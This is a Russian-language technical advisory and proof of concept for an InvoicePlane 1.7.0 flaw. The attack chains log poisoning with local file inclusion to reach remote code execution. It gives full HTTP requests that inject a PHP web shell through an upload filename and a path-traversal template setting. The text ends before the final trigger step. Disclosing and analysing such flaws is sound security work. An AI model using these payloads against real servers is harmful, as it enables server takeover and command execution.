
# CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия.
Уязвимость: Удалённое выполнение кода через локальное включение файлов (LFI) + отравление журналов (Log Poisoning)
Продукт: InvoicePlane
Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)
Критичность: Критическая
Оценка CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Обнаружил: Leonidas Agathos
Дата отчёта: 2026-01-31
Критическая цепочка уязвимостей в InvoicePlane 1.7.0 позволяет аутентифицированному администратору добиться удалённого выполнения кода (RCE) на сервере. Атака объединяет две слабости:
.php-файлы журналов CodeIgniter, что позволяет внедрять произвольный PHP-код.При объединении этих уязвимостей злоумышленник с правами администратора может полностью скомпрометировать сервер от имени пользователя веб-сервера. Финальный запуск RCE не требует аутентификации (публичный URL счёта).
| Атрибут | Значение |
|---|---|
| Файл | application/modules/guest/controllers/View.php |
| Строки | 85, 191 |
| Параметр | public_invoice_template (настройка базы данных) |
| CWE | CWE-98: Некорректный контроль имени файла для оператора Include/Require |
Уязвимый код (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Уязвимый код (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Настройки public_invoice_template и public_quote_template извлекаются из базы данных и напрямую подставляются в путь к файлу, передаваемый в load->view() CodeIgniter (который разрешается в PHP-функцию include()). Отсутствует какая-либо проверка на:
../)Администратор может установить это значение на любой путь в файловой системе, ограниченный только автоматически добавляемым расширением .php.
| Атрибут | Значение |
|---|---|
| Файл | application/modules/upload/controllers/Upload.php |
| Строки | 178–184 |
| Параметр | Имя загружаемого файла (данные HTTP multipart-формы) |
| CWE | CWE-117: Некорректная нейтрализация вывода для журналов |
Уязвимый код (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Когда имя файла вызывает срабатывание проверки обхода каталога, сырое, неочищенное имя файла записывается непосредственно в файл журнала. Файлы журналов CodeIgniter:
.php: application/logs/log-ГГГГ-ММ-ДД.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Злоумышленник, встраивающий <?php system($_GET[1]); ?> в имя файла, приводит к записи этой полезной нагрузки в журнал и её последующему выполнению через LFI.
[Аутентифицированный пользователь] → Загрузка вредоносного имени файла → PHP внедрён в файл журнала
[Администратор] → Установка настройки шаблона → LFI указывает на файл журнала
[Любой пользователь] → Посещение публичного URL счёта → RCE
| Шаг | Требование |
|---|---|
| Отравление журналов | Аутентифицированный пользователь с доступом к загрузке |
| Настройка LFI | Учётная запись администратора |
| Запуск RCE | Без аутентификации (публичный URL счёта) |
Отправьте запрос на загрузку файла с PHP-веб-шеллом, встроенным в имя файла. Проверка обхода каталога сработает и запишет сырое имя файла (включая PHP-полезную нагрузку) в файл журнала.
Запрос (через Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
Сервер отклоняет загрузку (upload_error_invalid_extension), но запись в журнале уже создана:
Результат в application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Перейдите в раздел Вложения счёта и нажмите Добавить файлы, чтобы получить доступ к конечной точке загрузки.



Будучи администратором, установите настройку public_invoice_template так, чтобы она указывала на сегодняшний файл журнала, используя полезную нагрузку обхода пути. Загрузчик представлений CodeIgniter автоматически добавляет .php.
Запрос (через Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
Путь обхода разрешается из application/views/invoice_templates/public/ вверх до application/logs/, после чего включается файл log-2026-01-31.php.